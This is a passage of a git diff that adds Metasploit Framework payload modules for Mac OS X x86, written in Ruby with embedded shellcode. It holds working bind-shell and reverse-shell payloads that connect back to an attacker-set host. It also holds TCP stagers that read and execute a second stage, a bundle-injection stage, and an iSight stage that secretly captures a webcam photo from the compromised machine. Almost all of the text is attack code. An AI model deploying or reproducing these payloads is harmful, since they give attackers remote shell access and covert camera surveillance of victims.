Zovi ', + 'License' => MSF_LICENSE, + 'Platform' => 'osx', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::BindTcp, + 'Session' => Msf::Sessions::CommandShell, + 'Payload' => + { + 'Offsets' => + { + 'LPORT' => [ 27, 'n' ], + }, + 'Payload' => + "\x31\xc0\x99\x50\x40\x50\x40\x50"+ + "\x52\xb0\x61\xcd\x80\x0f\x82\x7e"+ + "\x00\x00\x00\x89\xc6\x52\x52\x52"+ + "\x68\x00\x02\x34\x12\x89\xe3\x6a"+ + "\x10\x53\x56\x52\xb0\x68\xcd\x80"+ + "\x72\x67\x52\x56\x52\xb0\x6a\xcd"+ + "\x80\x72\x5e\x52\x52\x56\x52\xb0"+ + "\x1e\xcd\x80\x72\x54\x89\xc7\x31"+ + "\xdb\x83\xeb\x01\x43\x53\x57\x53"+ + "\xb0\x5a\xcd\x80\x72\x43\x83\xfb"+ + "\x03\x75\xf1\x31\xc0\x50\x50\x50"+ + "\x50\xb0\x3b\xcd\x80\x90\x90\x3c"+ + "\x2d\x75\x09\xb0\x42\xcd\x80\x83"+ + "\xfa\x00\x74\x17\x31\xc0\x50\x68"+ + "\x2f\x2f\x73\x68\x68\x2f\x62\x69"+ + "\x6e\x89\xe3\x50\x50\x53\x50\xb0"+ + "\x3b\xcd\x80\x31\xc0\x50\x89\xe3"+ + "\x50\x50\x53\x50\x50\xb0\x07\xcd"+ + "\x80\x31\xc0\x50\x50\x40\xcd\x80" + } + )) + end + +end diff --git a/modules/payloads/singles/osx/x86/vforkshell_reverse_tcp.rb b/modules/payloads/singles/osx/x86/vforkshell_reverse_tcp.rb new file mode 100644 index 0000000000..5fc92e3f1c --- /dev/null +++ b/modules/payloads/singles/osx/x86/vforkshell_reverse_tcp.rb @@ -0,0 +1,63 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/projects/Framework/ +## + + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/command_shell' + + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Payload::Osx + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'OSX (vfork) Command Shell, Reverse TCP Inline', + 'Version' => '$Revision$', + 'Description' => 'Connect back to attacker, vfork if necessary, and spawn a command shell', + 'Author' => 'Dino Dai Zovi ', + 'License' => MSF_LICENSE, + 'Platform' => 'osx', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::CommandShell, + 'Payload' => + { + 'Offsets' => + { + 'LHOST' => [ 20, 'ADDR' ], + 'LPORT' => [ 27, 'n' ], + }, + 'Payload' => + "\x31\xc0\x99\x50\x40\x50\x40\x50"+ + "\x52\xb0\x61\xcd\x80\x72\x6d\x89"+ + "\xc7\x52\x52\x68\x7f\x00\x00\x01"+ + "\x68\x00\x02\x34\x12\x89\xe3\x6a"+ + "\x10\x53\x57\x52\xb0\x62\xcd\x80"+ + "\x72\x52\x31\xdb\x83\xeb\x01\x43"+ + "\x53\x57\x53\xb0\x5a\xcd\x80\x72"+ + "\x43\x83\xfb\x03\x75\xf1\x31\xc0"+ + "\x50\x50\x50\x50\xb0\x3b\xcd\x80"+ + "\x90\x90\x3c\x2d\x75\x09\xb0\x42"+ + "\xcd\x80\x83\xfa\x00\x74\x17\x31"+ + "\xc0\x50\x68\x2f\x2f\x73\x68\x68"+ + "\x2f\x62\x69\x6e\x89\xe3\x50\x50"+ + "\x53\x50\xb0\x3b\xcd\x80\x31\xc0"+ + "\x50\x89\xe3\x50\x50\x53\x50\x50"+ + "\xb0\x07\xcd\x80\x31\xc0\x50\x50"+ + "\x40\xcd\x80" + } + )) + end + +end diff --git a/modules/payloads/stagers/osx/x86/bind_tcp.rb b/modules/payloads/stagers/osx/x86/bind_tcp.rb new file mode 100644 index 0000000000..c2c445a725 --- /dev/null +++ b/modules/payloads/stagers/osx/x86/bind_tcp.rb @@ -0,0 +1,59 @@ +require 'msf/core' +require 'msf/core/handler/bind_tcp' + +### +# +# BindTcp +# ------- +# +# Mac OS X x86 bind TCP stager. +# +### +module Metasploit3 + + include Msf::Payload::Stager + + def initialize(info = { }) + super(merge_info(info, + 'Name' => 'Bind TCP Stager', + 'Version' => '$Revision$', + 'Description' => 'Listen, read length, read buffer, execute', + 'Author' => 'Dino Dai Zovi ', + 'License' => MSF_LICENSE, + 'Platform' => 'osx', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::BindTcp, + 'Convention' => 'sockedi', + 'Stager' => + { + 'Offsets' => { 'LPORT' => [ 27, 'n'] }, + 'Payload' => + "\x31\xc0\x99\x50\x40\x50\x40\x50"+ + "\x52\xb0\x61\xcd\x80\x0f\x82\x7d"+ + "\x00\x00\x00\x89\xc6\x52\x52\x52"+ + "\x68\x00\x02\x34\x12\x89\xe3\x6a"+ + "\x10\x53\x56\x52\xb0\x68\xcd\x80"+ + "\x72\x66\x52\x56\x52\xb0\x6a\xcd"+ + "\x80\x72\x5d\x52\x52\x56\x52\xb0"+ + "\x1e\xcd\x80\x72\x53\x89\xc7\x89"+ + "\xe5\x83\xec\x08\x31\xc9\xf7\xe1"+ + "\x51\x89\xe6\xb0\x04\x50\x56\x57"+ + "\x50\x48\xcd\x80\x72\x3a\x8b\x74"+ + "\x24\x10\x31\xc0\x50\x50\x48\x50"+ + "\x40\x66\xb8\x02\x10\x50\x31\xc0"+ + "\xb0\x07\x50\x56\x52\x52\xb0\xc5"+ + "\xcd\x80\x72\x1c\x89\xc3\x01\xf3"+ + "\x56\x89\xd8\x29\xf0\x50\x57\x52"+ + "\x31\xc0\xb0\x03\xcd\x80\x72\x08"+ + "\x29\xc3\x29\xc6\x75\xea\xff\xe3" + } + )) + end + + def handle_intermediate_stage(conn, p) + # + # Our stager payload expects to see a next-stage length first. + # + conn.put([p.length].pack('V')) + end +end diff --git a/modules/payloads/stagers/osx/x86/reverse_tcp.rb b/modules/payloads/stagers/osx/x86/reverse_tcp.rb new file mode 100644 index 0000000000..280c920671 --- /dev/null +++ b/modules/payloads/stagers/osx/x86/reverse_tcp.rb @@ -0,0 +1,61 @@ +require 'msf/core' +require 'msf/core/handler/reverse_tcp' + +### +# +# ReverseTcp +# ------- +# +# Mac OS X x86 Reverse TCP stager. +# +### +module Metasploit3 + + include Msf::Payload::Stager + + def initialize(info = { }) + super(merge_info(info, + 'Name' => 'Reverse TCP Stager', + 'Version' => '$Revision$', + 'Description' => 'Connect, read length, read buffer, execute', + 'Author' => 'Dino Dai Zovi ', + 'License' => MSF_LICENSE, + 'Platform' => 'osx', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseTcp, + 'Convention' => 'sockedi', + 'Stager' => + { + 'Offsets' => + { + 'LHOST' => [ 20, 'ADDR'], + 'LPORT' => [ 27, 'n'] + }, + 'Payload' => + "\x31\xc0\x99\x50\x40\x50\x40\x50"+ + "\x52\xb0\x61\xcd\x80\x72\x6c\x89"+ + "\xc7\x52\x52\x68\x7f\x00\x00\x01"+ + "\x68\x00\x02\x34\x12\x89\xe3\x6a"+ + "\x10\x53\x57\x52\xb0\x62\xcd\x80"+ + "\x72\x51\x89\xe5\x83\xec\x08\x31"+ + "\xc9\xf7\xe1\x51\x89\xe6\xb0\x04"+ + "\x50\x56\x57\x50\x48\xcd\x80\x72"+ + "\x3a\x8b\x74\x24\x10\x31\xc0\x50"+ + "\x50\x48\x50\x40\x66\xb8\x02\x10"+ + "\x50\x31\xc0\xb0\x07\x50\x56\x52"+ + "\x52\xb0\xc5\xcd\x80\x72\x1c\x89"+ + "\xc3\x01\xf3\x56\x89\xd8\x29\xf0"+ + "\x50\x57\x52\x31\xc0\xb0\x03\xcd"+ + "\x80\x72\x08\x29\xc3\x29\xc6\x75"+ + "\xea\xff\xe3" + } + )) + end + + def handle_intermediate_stage(conn, p) + # + # Our stager payload expects to see a next-stage length first. + # + conn.put([p.length].pack('V')) + end +end diff --git a/modules/payloads/stages/osx/x86/bundleinject.rb b/modules/payloads/stages/osx/x86/bundleinject.rb new file mode 100644 index 0000000000..06d0698931 --- /dev/null +++ b/modules/payloads/stages/osx/x86/bundleinject.rb @@ -0,0 +1,26 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/projects/Framework/ +## + + +require 'msf/core' +require 'msf/core/payload/osx/bundleinject' + + +### +# +# Injects an arbitrary DLL in the exploited process. +# +### +module Metasploit3 + + include Msf::Payload::Osx::BundleInject + +end diff --git a/modules/payloads/stages/osx/x86/isight.rb b/modules/payloads/stages/osx/x86/isight.rb new file mode 100644 index 0000000000..08a4583b27 --- /dev/null +++ b/modules/payloads/stages/osx/x86/isight.rb @@ -0,0 +1,90 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/projects/Framework/ +## + + +require 'msf/core' +require 'msf/core/payload/osx/bundleinject' +require 'msf/base/sessions/vncinject' +require 'fileutils' +require 'rex/compat' + +### +# +# Injects the VNC server DLL and runs it over the established connection. +# +### +module Metasploit3 + + include Msf::Payload::Osx::BundleInject + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Mac OS X x86 iSight photo capture', + 'Version' => '$Revision$', + 'Description' => 'Inject a Mach-O bundle to capture a photo from the iSight', + 'Author' => [ 'Dino Dai Zovi MSF_LICENSE, + 'Session' => Msf::Sessions::CommandShell)) + + # Override the BUNDLE path with the iSight capture library + register_options( + [ + OptPath.new('BUNDLE', + [ + true, + "The local path to the iSight Mach-O Bundle to upload", + File.join(Msf::Config.install_root, "data", "isight.bundle") + ]), + OptBool.new('AUTOVIEW', + [ + true, + "Automatically open the picture in a browser ", + true + ]) + ], self.class) + end + + def on_session(session) + print_status("Downloading photo...") + + photo_length = session.rstream.read(4).unpack('V')[0] + + print_status("Downloading photo (#{photo_length} bytes)...") + + photo = session.rstream.read(photo_length) + + # Extract the host and port + host,port = session.tunnel_peer.split(':') + + # Create a directory for the images + base = File.join(Msf::Config.config_directory, 'logs', 'isight') + dest = File.join(base, + host + "_" + Time.now.strftime("%Y%m%d.%M%S")+sprintf("%.5d",rand(100000))+".jpg" + ) + + # Create the log directory + FileUtils.mkdir_p(base) + File.open(dest, 'wb') do |f| + f.write(photo) + f.flush + end + + print_status("Photo saved as #{dest}") + + if (datastore['AUTOVIEW'] == true) + print_status("Opening photo in a web browser...") + Rex::Compat.open_browser(File.expand_path(dest)) + end + + super(session) + end + +end diff --git a/modules/payloads/stages/osx/x86/vforkshell.rb b/modules/payloads/stages/osx/x86/vforkshell.rb new file mode 100644 index 0000000000..1f5247847f --- /dev/null +++ b/modules/payloads/stages/osx/x86/vforkshell.rb @@ -0,0 +1,48 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/projects/Framework/ +## + + +require 'msf/core' +require 'msf/base/sessions/command_shell' + + +module Metasploit3 + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'OSX (vfork) Command Shell', + 'Version' => '$Revision$', + 'Description' => 'Call vfork() if necessary and spawn a command shell', + 'Author' => 'Dino Dai Zovi ', + 'License' => MSF_LICENSE, + 'Platform' => 'osx', + 'Arch' => ARCH_X86, + 'Session' => Msf::Sessions::CommandShell, + 'Stage' => + { + 'Payload' => + "\x31\xdb\x83\xeb\x01\x43\x53\x57"+ + "\x53\xb0\x5a\xcd\x80\x72\x43\x83"+ + "\xfb\x03\x75\xf1\x31\xc0\x50\x50"+ + "\x50\x50\xb0\x3b\xcd\x80\x90\x90"+ + "\x3c\x2d\x75\x09\xb0\x42\xcd\x80"+ + "\x83\xfa\x00\x74\x17\x31\xc0\x50"+ + "\x68\x2f\x2f\x73\x68\x68\x2f\x62"+ + "\x69\x6e\x89\xe3\x50\x50\x53\x50"+ + "\xb0\x3b\xcd\x80\x31\xc0\x50\x89"+ + "\xe3\x50\x50\x53\x50\x50\xb0\x07"+ + "\xcd\x80\x31\xc0\x50\x50\x40\xcd"+ + "\x80" + } + )) + end + +end